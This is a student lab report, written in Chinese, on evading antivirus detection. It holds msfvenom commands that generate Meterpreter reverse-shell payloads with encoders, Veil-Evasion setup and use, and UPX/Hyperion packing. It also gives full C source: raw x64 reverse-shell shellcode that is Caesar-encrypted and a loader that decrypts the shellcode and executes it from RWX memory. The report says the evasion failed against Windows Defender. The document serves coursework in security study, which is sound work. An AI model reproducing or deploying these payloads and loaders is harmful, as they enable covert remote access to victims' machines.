1.實驗內容
1.1 問題回答
(1)殺軟是如何檢測出惡意程式碼的?
①基於特徵碼的檢測:防毒軟體會維護一個包含各種已知惡意軟體特徵碼的資料庫。當掃描檔案時,防毒軟體會將檔案與資料庫中的特徵碼進行比對,如果匹配,就會標記為惡意軟體。
②啟發式檢測:啟發式檢測技術透過分析程式的行為模式來檢測惡意行為,例如自我複製、修改、網路通訊等,而不僅僅是依賴於特徵碼匹配。
③基於行為的檢測:監控程式執行時的行為,檢測其是否執行了可疑操作,如修改系統檔案、訪問敏感區域等。
④沙箱技術:沙箱技術在隔離的環境中執行可疑程式,防止其對系統造成實際傷害。
⑤機器學習:使用機器學習演算法來識別惡意軟體的模式,透過分析大量正常和惡意軟體行為的樣本,建立模型來預測未知的威脅。
(2)免殺是做什麼?
免殺(Anti-Virus)技術,通常指的是一系列技術,這些技術可以使惡意軟體(如病毒或木馬)免於被防毒軟體檢測和查殺。免殺技術的應用範圍廣泛,包括但不限於反會變、逆向工程、系統漏洞等技術領域。免殺技術的核心目標是在保證原檔案功能正常的前提下,透過修改,使得原本會被查殺的檔案免於被防毒軟體檢測。
(3)免殺的基本方法有哪些?
①程式碼混淆:透過改變程式碼的結構、命名和控制流程,使得程式碼難以被靜態分析和反彙編。
②加殼:使用加殼技術將惡意程式碼封裝在另一個程式中,以隱藏真正的惡意功能,使其難以被安全軟體檢測到。
③行為免殺:改變惡意軟體的行為模式,避免觸發安全軟體的行為監控。
④檔案免殺:修改檔案結構,加密惡意程式碼或使用程式碼混淆技術。
1.2 實驗任務
(1)正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
·下載veil工具,並使用它來生成惡意程式碼。
·使用C+shellcode程式設計。
·嘗試upx壓縮殼和試hyperion加密殼。
(2)透過組合應用各種技術實現惡意程式碼免殺
(3)用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
2.實驗過程
2.1 正確使用msf編碼器,veil-evasion,自己利用shellcode程式設計等免殺工具或技巧
(一)使用msfvenom命令學習生成多種payload,透過VirScan檢測
實驗內容:使用msfvenom生成jar等檔案。
注:本部分實驗IP地址如下:
虛擬機器:192.168.197.130
主機:192.168.135.6
檢視 msfvenom 支援的所有輸出格式:輸入命令msfvenom --list formats
;
檢視 msfvenom 支援的所有編碼方式:輸入命令msfvenom --list encoders
;
以下是透過對格式和編碼方式的瞭解學習生成Payload。
(1)普通生成payload
輸入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=8888 -f exe > 2318ex3-1.exe
;
-p windows/meterpreter/reverse_tcp
:指定了要生成的 payload 型別,是一個 Meterpreter 反向 TCP 連線;
LHOST=192.168.197.130
:設定了反射回監聽端的 IP 地址,即kali虛擬機器的 IP 地址;
LPORT=8888
:設定了連線回監聽端的埠號;
-f exe
:指定了輸出格式為 Windows 可執行檔案exe;
將2318ex3-1.exe透過Xftp傳入主機,在 https://www.virscan.org/ 網站進行檢測。
(2)使用編碼器對payload進行一次編碼:
輸入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.197.130 LPORT=8888 -f exe > 2318ex3-2.exe
-e x86/shikata_ga_nai
: 這指定了要使用的編碼器;
-b ‘\x00’
: 這指定了需要避免的壞字符集;
檢測結果:可以看到此時編碼效果不顯著。
(3)對payload進行多次編碼:
輸入命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.197.130 LPORT=8888 -f exe > 2318ex3-3.exe
;
-i 10
表示編碼10次;
檢測結果:可以看到此時編碼效果不顯著。(甚至起反作用?)
(4)選擇一個適用於Java環境的payload來生成jar檔案:
輸入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=8888 -f jar > 2318ex3-4.jar
;
檢測結果:可以看到jar包相較於exe檔案免殺效果更好。
(5)對jar型別payload進行編碼:
輸入命令msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=8888 -e x86/shikata_ga_nai -i 10 -f jar > 2318ex3-5.jar
;
檢測結果:編碼免殺效果仍不顯著。
(6)生成一個適用於Linux環境的 Linux 可執行檔案 elf:
輸入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=8888 -f elf > 2318ex3-6.elf
;
檢測結果:可以看到 elf 包相較於jar,exe檔案免殺效果更好。
(7)對elf型別payload進行編碼:
輸入命令msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.197.130 LPORT=8888 -e x86/shikata_ga_nai -i 10 -f elf > 2318ex3-7.elf
檢測結果:對elf包進行編碼有一定的免殺作用。
(二)使用veil工具生成
安裝veil,需要保持虛擬機器是聯網狀態,依次輸入以下命令:
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
(此時終端變白是因為虛擬機器重灌過了)(記憶體不夠導致無法安裝Veil)
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
輸入完sudo apt-get install wine32
後報錯,此時先輸入dpkg --add-architecture i386
,再輸入sudo apt-get update
,然後輸入sudo apt-get install wine32
即可。
注:下載任何東西的時候都可能還會報錯說可以輸入sudo apt-get update
或者在install wine32的語句後加上--fix-missing
選項補下載缺乏的軟體包(如下圖)
一般兩個命令都輸入後,再次輸入sudo apt-get install 要下載的東西,就會顯示如下圖的“XX已經是最新版”,此時就表示下載完成了,不用理會其他提示資訊。
如果還提示什麼依賴關係,那就一個個用sudo apt-get install 缺乏的檔案
進行手動下載,比如下圖就需要下載python3-pydot,python3-pygraphviz等。(提示:用滑鼠選中某區域文字按右鍵可以複製貼上,不要用Ctrl+c,Ctrl+v,虛擬機器沒有這個快捷鍵)下載完缺乏檔案再下載一般wine或者veil就沒有問題了。
總之歷盡千辛萬苦終於下載到了veil的下載器T T
在安裝Veil之前,先進入Veil的配置檔案修改他的下載網站(應該是原網址無效了)。
sudo su
:切換為root使用者登入。
cd /usr/share/veil/config/
:進入Veil配置檔案所在資料夾。
vim setup.sh
:使用Vim編輯器修改安裝檔案。
在第260行左右找到圖中紅框一行(也可以用檢索命令/sudo git clone
),將網址改成https://gitee.com/spears/VeilDependencies.git
(不要把後面的空格刪掉,那是引數之間的空格表示間隔)
修改後是上圖這樣。
輸入veil進行veil的正式安裝!
注:如果說記憶體不夠就重灌虛擬機器重新分配記憶體吧,如果直接擴充套件磁碟不會操作亂刪資料其實也是毀了這個虛擬機器......,如果又提示有什麼東西依賴的缺的要apt-get update和--fix-missing的就照做,只能反反覆覆嘗試。還有提示輸入sudo /usr/share/veil/config/setup.sh --force --silent
的,照做就行。
顯示到這個介面就離成功很近了!只需要一直點Next~具體的流程在此:https://blog.csdn.net/Goodric/article/details/123806240
看到這個介面就代表Veil安裝成功了!!!(灑淚)
輸入use evasion
,進入Veil—Evasion。
輸入list
,檢視可使用的payload型別。
選用c/meterpretermrev_tcp.py,即7號,所以輸入use 7
;
依次輸入命令
set LHOST 192.168.197.143
(此時虛擬機器IP變成這個了)
set LPORT 8888
generate
把生成的檔案命名為V20222318
在Veil生成Payload過程中提示生成的exe檔案所在目錄為/var/lib/veil/output/complied/V20222318.exe
,故在此處找到exe檔案傳送到主機進行評估。
費半天勁生成的Payload免殺效果也不好啊。/捂臉苦笑
(三)使用C+shellcode程式設計
輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.80.139 LPORT=8888 -f c
來獲取一段C語言shellcode編碼。
輸入vi 2318ex3-8.c
,建立檔案並將shellcode加入進去。
並加入main函式作為啟動起點。
編輯完畢將C檔案傳至主機進行編譯得到exe,拿去測試。
(搞錯了,C檔案是查不出來的)
(四)嘗試upx壓縮殼和試hyperion加密殼。
輸入指令upx 2318ex3-1.exe -o 2318ex3-1_upx.exe
,對後門檔案進行壓縮加殼,生成檔案2318ex3-1_upx.exe.
將原檔案以及加殼檔案複製到hyperion所在目錄下,用wine和hyperion進行加密殼處理。
將兩個檔案傳輸到主機進行評估。
明明加殼了更容易被殺好不好()
2.2 透過組合應用各種技術實現惡意程式碼免殺
kali虛擬機器中透過msfvenom生成Shellcode字串陣列
輸入指令msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.197.143 LPORT=8888 -f c
;
將buf[]中的內容複製,新建20222316lzf-decode.c檔案,輸入自己寫的程式碼,程式碼功能為將複製內容放入shellcode[]陣列中,透過程式碼將shellcode進行凱撒加密,將密文輸入到20222318lzf.txt檔案中
程式碼如下:
點選檢視程式碼
#include <stdio.h>
#include <stdlib.h>
void caesarEncrypt(unsigned char *data, size_t length, int shift_Num) {
for (size_t i = 0; i < length; i++) {
data[i]= (data[i] + shift_Num) & 0xFF;
}
}
int main()
{
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x51"
"\x56\x48\x8b\x52\x20\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48"
"\x8b\x72\x50\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20\x8b"
"\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x41\x51\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x56\x4d\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88"
"\x48\x01\xd6\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x22\xb8\xc0\xa8\xc5\x8f\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
int shift_Num =3;
printf("original: ");
for (size_t i = 0; i < 510; i++) {
printf("\\x%02x",shellcode[i]);
}
printf("\n");
caesarEncrypt(shellcode,510,shift_Num);
printf("Encrypted:");
for (size_t i =0;i< 510; i++){
printf("\\x%02x",shellcode[i]);
}
printf("\n");
FILE *file = fopen("20222318lzf.txt", "w");
if (file != NULL) {
for (size_t i = 0; i < 510; i++) {
fprintf(file, "\\x%02x", shellcode[i]);
}
fprintf(file, "\n");
fclose(file);
}
else {
printf("Error opening file!\n");
}
return 0;
}
再新建20222318lzf-decode.cpp檔案,編寫一個解密程式碼,程式碼功能為讀取20222318lzf.txt檔案中的內容到shellcode[]陣列中,並進行解密,再執行shellcode;
程式碼如下:
點選檢視程式碼
ude <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void caesarDecrypt(unsigned char *data, size_t length, int shift) {
for (size_t i = 0; i < length; i++) {
data[i] = (unsigned char)((data[i] - shift + 256) % 256);
}
}
int main() {
int shift = 3;
unsigned char shellcode1[511];
char line[1024];
FILE *file = fopen("20222318lzf.txt", "r");
if (file == NULL) {
perror("Error opening file");
return 1;
}
size_t length = 0;
while (fgets(line, sizeof(line), file)) {
for (size_t i = 0; line[i] != '\0' && line[i] != '\n'; i += 1) {
if (sscanf(&line[i], "\\x%02hhx", &shellcode1[length]) == 1) {
length++;
}
}
}
fclose(file);
caesarDecrypt(shellcode1, length, shift);
LPVOID exec = VirtualAlloc(0, sizeof shellcode1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode1, sizeof shellcode1);
((void(*)())exec)();
return 0;
}
將C檔案放在桌面上進行編譯得到 exe 檔案,試圖在開啟Windows Defender的情況執行,實際情況:
被刪除啦!!T T還是太嫩了!免殺失敗
2.3 用另一電腦實測,在殺軟開啟的情況下,可執行並回連成功,註明電腦的殺軟名稱與版本
在本機都過不了,這個任務不了了之。。。
3.問題及解決方案
- 問題與解決方案均在實驗過程中寫出。(在下載wine的時候AI說使用aptitude這個下載軟體包能解決依賴關係,後來發現他只是無視依賴關係進行下載,還會解除安裝掉我已經一個個手動下載的檔案,遂含淚放棄該方案)
4.學習感悟、思考等
這次實驗真的是花了很長很長時間去下wine32和Vile,反反覆覆去下載缺失的軟體包,又由於某些神秘的依賴關係導致總是無法下載,校園網又慢,下載的過程只能等待,整個實驗感覺十分被動。切換成熱點後一天怒用14G流量,還要反反覆覆重灌虛擬機器下載各種軟體包,做起來真的很心力交瘁。我們這次實驗所下載的這些免殺工具可能都是很早以前的工具了,那個時候防毒軟體還不夠強力,可能還比較好用,現在我們如果只想借用工具而不靠自己精進專業知識,想突破防毒軟體的防線真的是痴人說夢。網路攻防真的是一個道高一尺魔高一丈的過程,想要學好真的需要一輩子都在學習前沿知識,難啊!我們真的需要不斷地學習和掌握新的安全技術,提高自己的安全意識和防護能力。